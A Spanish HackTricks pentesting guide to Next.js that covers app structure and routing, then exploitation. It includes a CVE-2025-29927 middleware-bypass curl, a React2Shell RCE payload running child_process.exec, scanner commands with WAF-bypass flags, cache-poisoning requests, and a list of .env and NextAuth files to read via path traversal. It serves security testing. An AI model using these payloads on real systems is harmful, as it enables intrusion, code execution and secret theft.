NextJS

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Arquitectura general de una aplicación Next.js

Estructura de archivos típica

Un proyecto Next.js estándar sigue una estructura específica de archivos y directorios que facilita características como el enrutamiento, los endpoints de API y la gestión de recursos estáticos. A continuación, un esquema típico:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Directorios y archivos principales

• public/: Alberga recursos estáticos como imágenes, fuentes y otros archivos. Los archivos aquí son accesibles en la ruta raíz (/).
• app/: Directorio central para las páginas, layouts, componentes y API routes de tu aplicación. Emplea el paradigma App Router, habilitando características avanzadas de enrutamiento y la separación de componentes servidor/cliente.
• app/layout.tsx: Define el layout raíz de tu aplicación, envolviendo todas las páginas y proporcionando elementos de UI consistentes como encabezados, pies de página y barras de navegación.
• app/page.tsx: Sirve como punto de entrada para la ruta raíz /, renderizando la página de inicio.
• app/[route]/page.tsx: Maneja rutas estáticas y dinámicas. Cada carpeta dentro de app/ representa un segmento de ruta, y page.tsx dentro de esas carpetas corresponde al componente de la ruta.
• app/api/: Contiene API routes, permitiéndote crear funciones serverless que manejan peticiones HTTP. Estas rutas reemplazan el tradicional directorio pages/api.
• app/components/: Alberga componentes React reutilizables que pueden usarse en diferentes páginas y layouts.
• app/styles/: Contiene archivos CSS globales y CSS Modules para estilos con alcance por componente.
• app/utils/: Incluye funciones utilitarias, módulos helper y otra lógica no UI que puede compartirse en la aplicación.
• .env.local: Almacena variables de entorno específicas del entorno de desarrollo local. Estas variables no se incluyen en el control de versiones.
• next.config.js: Personaliza el comportamiento de Next.js, incluyendo configuraciones de webpack, variables de entorno y ajustes de seguridad.
• tsconfig.json: Configura las opciones de TypeScript para el proyecto, habilitando la verificación de tipos y otras funcionalidades de TypeScript.
• package.json: Gestiona dependencias del proyecto, scripts y metadatos.
• README.md: Proporciona documentación e información sobre el proyecto, incluyendo instrucciones de instalación, guías de uso y otros detalles relevantes.
• yarn.lock / package-lock.json: Bloquea las dependencias del proyecto a versiones específicas, asegurando instalaciones consistentes en distintos entornos.

Lado del cliente en Next.js

Enrutamiento basado en archivos en el directorio app

El directorio app es la piedra angular del enrutamiento en las versiones más recientes de Next.js. Aprovecha el sistema de archivos para definir rutas, haciendo la gestión de rutas intuitiva y escalable.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Vulnerabilidades potenciales del lado del cliente

Aunque Next.js proporciona una base segura, las prácticas de codificación inapropiadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: descubrimiento de rutas de exportación estática mediante _buildManifest

Cuando nextExport/autoExport son true (exportación estática), Next.js expone el buildId en el HTML y sirve un build manifest en /_next/static/<buildId>/_buildManifest.js. El array sortedPages y el mapeo route→chunk allí enumeran cada página pre-renderizada sin necesidad de fuerza bruta.

• Obtén el buildId desde la respuesta raíz (a menudo impreso al final) o desde etiquetas <script> que cargan /_next/static/<buildId>/....
• Recupera el manifest y extrae las rutas:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Usa las rutas descubiertas (por ejemplo /docs, /docs/content/examples, /signin) para guiar las pruebas de auth y el descubrimiento de endpoints.

Lado del servidor en Next.js

Renderizado del lado del servidor (SSR)

Las páginas se renderizan en el servidor en cada petición, asegurando que el usuario reciba HTML completamente renderizado. En este caso deberías crear tu propio servidor personalizado para procesar las solicitudes.

Casos de uso:

• Contenido dinámico que cambia con frecuencia.
• Optimización SEO, ya que los motores de búsqueda pueden rastrear la página con HTML completamente renderizado.

Implementación:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Generación de Sitios Estáticos (SSG)

Las páginas se pre-renderizan en tiempo de compilación, lo que resulta en tiempos de carga más rápidos y una menor carga del servidor.

Casos de uso:

• Contenido que no cambia con frecuencia.
• Blogs, documentación, páginas de marketing.

Implementación:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Funciones serverless (API Routes)

Next.js permite la creación de endpoints API como funciones serverless. Estas funciones se ejecutan bajo demanda sin necesidad de un servidor dedicado.

Casos de uso:

• Manejo de envíos de formularios.
• Interacción con bases de datos.
• Procesamiento de datos o integración con APIs de terceros.

Implementación:

Con la introducción del directorio app en Next.js 13, el enrutamiento y el manejo de APIs se han vuelto más flexibles y potentes. Este enfoque moderno se alinea estrechamente con el sistema de enrutamiento basado en archivos pero introduce capacidades mejoradas, incluyendo soporte para componentes del servidor y del cliente.

Manejador de ruta básico

Estructura de archivos:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implementación:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explicación:

• Ubicación: Las rutas de API se colocan en el directorio app/api/.
• Nombre de archivo: Cada endpoint de API reside en su propia carpeta que contiene un archivo route.js o route.ts.
• Funciones exportadas: En lugar de una exportación por defecto única, se exportan funciones específicas para métodos HTTP (p. ej., GET, POST).
• Manejo de respuestas: Usa el constructor Response para devolver respuestas, lo que permite un mayor control sobre las cabeceras y los códigos de estado.

Cómo manejar otras rutas y métodos:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Configuración de CORS

Controle qué orígenes pueden acceder a sus rutas de API, mitigando vulnerabilidades de Cross-Origin Resource Sharing (CORS).

Ejemplo de configuración incorrecta:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Ten en cuenta que CORS también se puede configurar en todas las rutas API dentro del archivo middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problema:

• Access-Control-Allow-Origin: '*': Permite que cualquier sitio web acceda a la API, lo que potencialmente permite que sitios maliciosos interactúen con tu API sin restricciones.
• Permiso amplio de métodos: Permitir todos los métodos puede habilitar a atacantes para realizar acciones no deseadas.

Cómo lo explotan los atacantes:

Los atacantes pueden crear sitios web maliciosos que realizan solicitudes a tu API, potencialmente abusando de funcionalidades como la obtención de datos, la manipulación de datos o el desencadenamiento de acciones no deseadas en nombre de usuarios autenticados.

CORS - Misconfigurations & Bypass

Exposición de código del servidor en el lado del cliente

Puede ser fácil usar en el cliente código que también se utiliza en el servidor, la mejor manera de asegurarse de que un archivo de código nunca se exponga en el lado del cliente es usando este import al comienzo del archivo:

import "server-only"

Archivos clave y sus funciones

middleware.ts / middleware.js

Ubicación: Raíz del proyecto o dentro de src/.

Propósito: Ejecuta código en la función serverless del lado del servidor antes de que se procese una solicitud, permitiendo tareas como autenticación, redirecciones o modificación de respuestas.

Flujo de ejecución:

1. Solicitud entrante: El middleware intercepta la solicitud.
2. Procesamiento: Realiza operaciones basadas en la solicitud (por ejemplo, comprobar la autenticación).
3. Modificación de la respuesta: Puede alterar la respuesta o pasar el control al siguiente manejador.

Ejemplos de uso:

• Redirigir usuarios no autenticados.
• Agregar encabezados personalizados.
• Registrar solicitudes.

Configuración de ejemplo:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Si la autorización se aplica en middleware, las versiones afectadas de Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) pueden ser eludidas inyectando el header x-middleware-subrequest. El framework omitirá la recursión del middleware y devolverá la página protegida.

• El comportamiento por defecto suele ser una redirección 307 a una ruta de login como /api/auth/signin.
• Envía un valor largo para x-middleware-subrequest (repite middleware hasta alcanzar MAX_RECURSION_DEPTH) para cambiar la respuesta a 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Debido a que las páginas autenticadas solicitan muchos subrecursos, agrega el header a cada petición (p. ej., Burp Match/Replace con una cadena de coincidencia vacía) para evitar que los assets se redirijan.

next.config.js

Location: Raíz del proyecto.

Purpose: Configura el comportamiento de Next.js, habilitando o deshabilitando características, personalizando configuraciones de webpack, estableciendo variables de entorno y configurando varias medidas de seguridad.

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js y pages/_document.js

pages/_app.js

Propósito: Sobrescribe el componente App por defecto, permitiendo estado global, estilos y componentes de layout.

Casos de uso:

• Inyectar CSS global.
• Agregar wrappers de layout.
• Integrar librerías de gestión de estado.

Ejemplo:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Propósito: Sobrescribe el Document por defecto, permitiendo personalizar las etiquetas HTML y Body.

Casos de uso:

• Modificar las etiquetas <html> o <body>.
• Agregar meta tags o scripts personalizados.
• Integrar fuentes de terceros.

Ejemplo:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Servidor personalizado (Opcional)

Purpose: Mientras Next.js viene con un servidor integrado, puedes crear un servidor personalizado para casos de uso avanzados como enrutamiento personalizado o integración con servicios backend existentes.

Note: El uso de un servidor personalizado puede limitar las opciones de despliegue, especialmente en plataformas como Vercel que optimizan para el servidor integrado de Next.js.

Example:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Consideraciones arquitectónicas y de seguridad adicionales

Variables de entorno y configuración

Propósito: Gestionar información sensible y ajustes de configuración fuera del código.

Mejores prácticas:

• Usar archivos .env: Almacena variables como API keys en .env.local (excluido del control de versiones).
• Acceder a las variables de forma segura: Usa process.env.VARIABLE_NAME para acceder a las variables de entorno.
• Nunca expongas secretos en el cliente: Asegúrate de que las variables sensibles solo se usan del lado del servidor.

Ejemplo:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Note: Para restringir variables solo al lado del servidor, omítelas del objeto env o prefíjalas con NEXT_PUBLIC_ para exponerlas al cliente.

Artefactos del servidor útiles para apuntar vía LFI/download endpoints

Si encuentras un path traversal o download API en una aplicación Next.js, apunta a artefactos compilados que leak server-side secrets and auth logic:

• .env / .env.local para session secrets y provider credentials.
• .next/routes-manifest.json y .next/build-manifest.json para una lista completa de rutas.
• .next/server/pages/api/auth/[...nextauth].js para recuperar la configuración compilada de NextAuth (a menudo contiene contraseñas de fallback cuando los valores de process.env no están establecidos).
• next.config.js / next.config.mjs para revisar rewrites, redirects y middleware routing.

Autenticación y Autorización

Approach:

• Session-Based Authentication: Usa cookies para gestionar sesiones de usuario.
• Token-Based Authentication: Implementa JWTs para autenticación sin estado.
• Third-Party Providers: Integra con proveedores OAuth (p. ej., Google, GitHub) usando librerías como next-auth.

Prácticas de seguridad:

• Secure Cookies: Establece los atributos HttpOnly, Secure y SameSite.
• Password Hashing: Siempre hashea las contraseñas antes de almacenarlas.
• Input Validation: Prevén injection attacks validando y saneando los inputs.

Ejemplo:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Optimización del rendimiento

Estrategias:

• Optimización de imágenes: Usa el componente de Next.js next/image para la optimización automática de imágenes.
• División de código: Aprovecha las importaciones dinámicas para dividir el código y reducir los tiempos de carga iniciales.
• Caché: Implementa estrategias de caché para respuestas de API y recursos estáticos.
• Carga diferida: Carga componentes o recursos solo cuando se necesiten.

Ejemplo:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeración (hash to function name via source maps)

Next.js moderno utiliza “Server Actions” que se ejecutan en el servidor pero se invocan desde el cliente. En producción estas invocaciones son opacas: todos los POSTs llegan a un endpoint común y se distinguen por un hash específico de la compilación enviado en la cabecera Next-Action. Ejemplo:

POST /
Next-Action: a9f8e2b4c7d1...

Cuando productionBrowserSourceMaps está habilitado, los chunks de minified JS contienen llamadas a createServerReference(...) que leak suficiente estructura (más los source maps asociados) para recuperar un mapeo entre el action hash y el nombre original de la función. Esto te permite traducir hashes observados en Next-Action a objetivos concretos como deleteUserAccount() o exportFinancialData().

Enfoque de extracción (regex on minified JS + optional source maps)

Busca en los JS chunks descargados createServerReference y extrae el hash y el símbolo de la función/origen. Dos patrones útiles:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Grupo 1: server action hash (40+ hex chars)
• Grupo 2: símbolo o ruta que puede resolverse a la función original vía el source map cuando esté presente

Si el script anuncia un source map (comentario final //# sourceMappingURL=<...>.map), descárgalo y resuelve el símbolo/ruta al nombre de la función original.

Flujo de trabajo práctico

• Detección pasiva mientras navegas: captura requests con cabeceras Next-Action y URLs de chunks JS.
• Descarga los bundles JS referenciados y los archivos *.map acompañantes (cuando estén presentes).
• Ejecuta la regex anterior para construir un diccionario hash↔nombre.
• Usa el diccionario para orientar las pruebas:
• Triage basado en nombre (p. ej., transferFunds, exportFinancialData).
• Rastrea la cobertura a través de builds por nombre de función (los hashes rotan entre builds).

Ejecución de acciones ocultas (solicitud basada en plantilla)

Toma un POST válido observado en el proxy como plantilla y cambia el valor Next-Action para apuntar a otra acción descubierta:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Reproducir en Repeater y probar autorización, validación de entrada y lógica de negocio de acciones que de otro modo son inalcanzables.

Burp automation

• NextjsServerActionAnalyzer (Burp extension) automatiza lo anterior en Burp:
• Extrae del historial del proxy JS chunks, extrae entradas createServerReference(...) y analiza source maps cuando están disponibles.
• Mantiene un diccionario buscable hash↔nombre de función y des-duplica entre builds por nombre de función.
• Puede localizar un POST de plantilla válido y abrir una pestaña Repeater lista para enviar con el hash de la acción objetivo intercambiado.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• Requiere productionBrowserSourceMaps habilitado en producción para recuperar nombres de bundles/source maps.
• La divulgación del nombre de función no es una vulnerabilidad por sí misma; úsala para guiar el descubrimiento y probar la autorización de cada acción.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Las implementaciones de Next.js App Router que exponen Server Actions en react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contienen una crítica prototype pollution del lado servidor durante la deserialización de chunks Flight. Al crear referencias $ dentro de una payload de Flight, un atacante puede pivotar desde prototipos contaminados a ejecución arbitraria de JavaScript y luego a ejecución de comandos OS dentro del proceso Node.js.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

1. Prototype pollution primitive: Establece "then": "$1:__proto__:then" de modo que el resolver escribe una función then en Object.prototype. Cualquier objeto plain procesado después se convierte en un thenable, permitiendo al atacante influir en el control de flujo async dentro de los internos de RSC.
2. Rebinding to the global Function constructor: Apunta _response._formData.get a "$1:constructor:constructor". Durante la resolución, object.constructor → Object, y Object.constructor → Function, de modo que llamadas futuras a _formData.get() en realidad ejecutan Function(...).
3. Code execution via _prefix: Coloca código JavaScript en _response._prefix. Cuando se invoca el _formData.get contaminado, el framework evalúa Function(_prefix)(...), por lo que el JS inyectado puede ejecutar require('child_process').exec() o cualquier otro primitivo de Node.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapeo de la exposición de React Server Function

React Server Functions (RSF) son funciones que incluyen la directiva ‘use server’;. Cada form action, mutation, o fetch helper vinculado a una de esas funciones se convierte en un RSC Flight endpoint que deserializará sin problemas payloads suministrados por un atacante. Pasos útiles de recon derivados de React2Shell:

• Static inventory: busca la directiva para entender cuántos RSFs están siendo expuestos automáticamente por el framework.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• Ajustes predeterminados de App Router: create-next-app habilita el App Router + el directorio app/ por defecto, lo que convierte silenciosamente cada ruta en un endpoint compatible con RSC. Los assets del App Router como /_next/static/chunks/app/ o las respuestas que transmiten Flight chunks sobre text/x-component son fingerprints expuestos a Internet muy claros.
• Despliegues RSC implícitamente vulnerables: El propio aviso de React señala que las apps que incluyen el runtime RSC pueden ser explotables incluso sin RSFs explícitos, así que trata cualquier build que use react-server-dom-* 19.0.0–19.2.0 como sospechosa.
• Otros frameworks que incluyen RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. reutilizan el mismo serializador y heredan la misma superficie de ataque remota hasta que incorporen builds de React parcheadas.

Cobertura de versiones (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerable en 19.0.0, 19.1.0–19.1.1 y 19.2.0; corregidos en 19.0.1, 19.1.2 y 19.2.1 respectivamente.
• Next.js stable: Las releases del App Router 15.0.0–16.0.6 incorporan el stack RSC vulnerable. Las ramas de parches 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluyen dependencias corregidas, por lo que cualquier build por debajo de esas versiones es de alto interés.
• Next.js canary: 14.3.0-canary.77+ también distribuye el runtime con bugs y actualmente carece de canary drops parcheados, haciendo que esos fingerprints sean candidatos fuertes para explotación.

Oráculo de detección remota

El react2shell-scanner de Assetnote envía una petición Flight multipart construida a rutas candidatas y observa el comportamiento del servidor:

• Modo por defecto ejecuta una payload RCE determinista (operación matemática reflejada vía X-Action-Redirect) que prueba la ejecución de código.
• Modo --safe-check malforma a propósito el mensaje Flight para que servidores parcheados devuelvan 200/400, mientras que objetivos vulnerables emiten respuestas HTTP/500 que contienen la subcadena E{"digest" dentro del cuerpo. Ese par (500 + digest) es actualmente el oráculo remoto más fiable publicado por defensores.
• Los switches integrados --waf-bypass, --vercel-waf-bypass y --windows ajustan el layout del payload, anteponen junk o intercambian comandos del OS para que puedas sondear assets reales en Internet.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Otros problemas recientes de App Router (finales de 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – cargas Flight malformadas pueden atrapar al resolvedor RSC en un bucle infinito (pre-auth DoS) o forzar la serialización del código compilado de Server Function para otras acciones. App Router builds ≥13.3 están afectadas hasta que se parcheen; 15.0.x–16.0.x necesitan las líneas de parche específicas del upstream advisory. Reutiliza la ruta normal de Server Action pero transmite un cuerpo text/x-component con referencias abusivas a $. Detrás de un CDN la conexión colgada se mantiene abierta por timeouts de caché, haciendo el DoS barato.

• Consejo de triage: Los objetivos sin parche devuelven 500 con E{"digest" después de payloads Flight malformados; las builds parcheadas devuelven 400/200. Prueba cualquier endpoint que ya esté transmitiendo chunks de Flight (busca cabeceras Next-Action o respuestas text/x-component) y reenvía con un payload modificado.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – la ausencia de Vary permite que una respuesta con Accept: text/x-component se cachee y sirva a navegadores que esperan HTML. Una única petición de priming puede reemplazar la página con payloads RSC sin procesar. Flujo PoC:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Si la segunda respuesta devuelve datos Flight en JSON en lugar de HTML, la ruta es vulnerable a cache poisoning. Purga la caché después de las pruebas.

Referencias

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
